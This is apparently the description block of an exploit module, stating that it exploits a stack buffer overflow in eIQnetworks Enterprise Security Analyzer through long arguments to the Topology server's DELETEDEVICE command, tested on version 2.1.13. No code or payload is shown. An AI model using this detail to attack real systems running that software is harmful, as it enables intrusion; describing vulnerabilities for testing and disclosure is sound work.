          This module exploits a stack buffer overflow in eIQnetworks
        Enterprise Security Analyzer. During the processing of
        long arguments to the DELETEDEVICE command in the Topology
        server, a stack-based buffer overflow occurs.

        This module has only been tested against ESA v2.1.13.
